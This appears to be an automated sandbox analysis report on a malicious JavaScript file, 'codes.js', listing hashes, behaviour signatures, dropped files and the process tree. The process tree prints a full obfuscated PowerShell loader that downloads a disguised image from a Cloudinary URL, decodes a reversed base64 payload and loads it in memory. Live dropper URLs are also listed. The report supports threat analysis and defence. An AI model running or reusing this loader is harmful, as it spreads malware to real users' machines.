Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    21-01-2025 15:44

General

  • Target

    codes.js

  • Size

    73KB

  • MD5

    99ea1ce1d4123a7538e0810d2bb919b8

  • SHA1

    ec8ee7dc4ea3ce0045f1a6569b945f586aeaf7cf

  • SHA256

    f6f06d960291d57697aaba85675aad68e6c677b91ef42d1a04ad84a3e9b54a30

  • SHA512

    210cf92fc65479b91a2874b60b14bf599a356a392c066f41501d571e8182fc2eb938217be20fdf6196d7cb20e53bb90698509b2c16c7e5c0ad630aa930cb939b

  • SSDEEP

    1536:y54izQ6VsYh/t5MKvJIp4LkWnwK7mMcAtRwK9t:yRzQ6V1/vVld

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://res.cloudinary.com/drqpeaaky/image/upload/v1737456477/b6fxidzmtogras7c2a5j.jpg%20

exe.dropper

https://res.cloudinary.com/drqpeaaky/image/upload/v1737456477/b6fxidzmtogras7c2a5j.jpg%20

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\codes.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2100
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = 'K3YVb/sr.e#sap//:sp##h';$restoredText = $originalText -replace '#', 't';$moralizer = 'https://res.cloudinary.com/drqpeaaky/image/upload/v1737456477/b6fxidzmtogras7c2a5j.jpg ';$carmaker = New-Object System.Net.WebClient;$jhoom = $carmaker.DownloadData($moralizer);$dialogues = [System.Text.Encoding]::UTF8.GetString($jhoom);$roily = '<<BASE64_START>>';$fugues = '<<BASE64_END>>';$noncatalog = $dialogues.IndexOf($roily);$documentarist = $dialogues.IndexOf($fugues);$noncatalog -ge 0 -and $documentarist -gt $noncatalog;$noncatalog += $roily.Length;$modifier = $documentarist - $noncatalog;$Indianization = $dialogues.Substring($noncatalog, $modifier);$acetifications = -join ($Indianization.ToCharArray() | ForEach-Object { $_ })[-1..-($Indianization.Length)];$romalea = [System.Convert]::FromBase64String($acetifications);$resend = [System.Reflection.Assembly]::Load($romalea);$jickajog = [dnlib.IO.Home].GetMethod('VAI');$jickajog.Invoke($null, @($restoredText, 'glistens', 'glistens', 'glistens', 'RegAsm', 'glistens', 'glistens','glistens','glistens','glistens','glistens','glistens','1','glistens','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3000

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabD635.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\TarD667.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • memory/3000-4-0x0000000002ED0000-0x0000000002F50000-memory.dmp

    Filesize

    512KB

  • memory/3000-5-0x000000001B620000-0x000000001B902000-memory.dmp

    Filesize

    2.9MB

  • memory/3000-6-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

    Filesize

    32KB

  • memory/3000-41-0x0000000002ED0000-0x0000000002F50000-memory.dmp

    Filesize

    512KB